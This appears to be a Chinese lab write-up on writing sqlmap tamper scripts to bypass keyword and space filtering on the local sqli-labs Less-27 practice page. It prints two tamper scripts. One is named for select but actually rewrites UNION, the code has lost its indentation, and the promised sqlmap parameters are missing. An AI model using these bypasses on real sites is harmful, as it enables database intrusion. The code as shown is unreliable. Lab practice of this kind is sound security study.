目的:修改sqlmap中的tamper脚本来绕过代码对特定参数的过滤和转义

环境:win10、phpstudy2016、sqli-labs-master平台

工具:sqlmap、burpsuite

地址:http://127.0.0.1/sqli-labs-master/Less-27/?id=1

该页面过滤了select和空格,自定义脚本selec2SEleCT.py和space2%0a.py

selec2SEleCT.py脚本内容如下所示:

#!/usr/bin/env python  #定义解析器

from lib.core.enums import PRIORITY  #导包

__priority__ = PRIORITY.HIGHEST     #设置优先级

def dependencies():           #结构一致化
pass                  #占位符

def tamper(payload, **kwargs):      #定义tamper方法

return payload.replace("UNION", "UniON") if payload else payload  #使用UniON替换UNION

space2%0a.py脚本内容如下所示:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0a"
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "%0a"
continue

retVal += payload[i]

return retVal

用sqlmap直接跑,相关参数如下所示

【总结】sqlmap-tamper编写小结

 

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-11-20
  • 2021-05-22
  • 2022-01-12
  • 2022-12-23
  • 2021-11-25
  • 2022-12-23
猜你喜欢
  • 2022-02-01
  • 2021-07-18
  • 2021-10-15
  • 2021-07-11
  • 2023-02-24
  • 2022-12-23
相关资源
相似解决方案